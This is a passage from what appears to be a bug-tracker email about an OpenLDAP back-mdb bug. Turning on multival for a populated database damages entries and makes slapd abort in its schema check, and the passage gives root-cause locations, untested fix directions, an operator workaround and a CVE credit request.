servers/slapd/schema_check.c:89. Root cause: back-mdb/id2entry.c:895-916
(mdb_entry_encode omits BIG_MULTI values) and id2entry.c:311 ("if (adding &&
ec.multi)", comment "Modifies handle them directly"). No fix was built or
tested. Directions (untested): migrate the values on the first write in
mdb_id2entry_put(); or refuse the change on a populated database and document
that multival needs a slapcat/slapadd reload; independently,
entry_schema_check() should return an error for an attribute without values
instead of asserting. Operator workaround: set multival only on an empty
database, or slapcat, change the setting and slapadd again. Removing the
setting afterwards does not repair a damaged entry. Where the abort was
measured with slapd as pid 1 of a container, the process stayed in shutdown
without serving; as an ordinary process it exits with the abort code. A
related problem in the same code is reported separately as "back-mdb:
oversized multival value fails modify with rc 80".
Credit: when a CVE is assigned for this issue, please credit Joao Charles
Carvalho.
--
You are receiving this mail because:
You are on the CC list for the issue.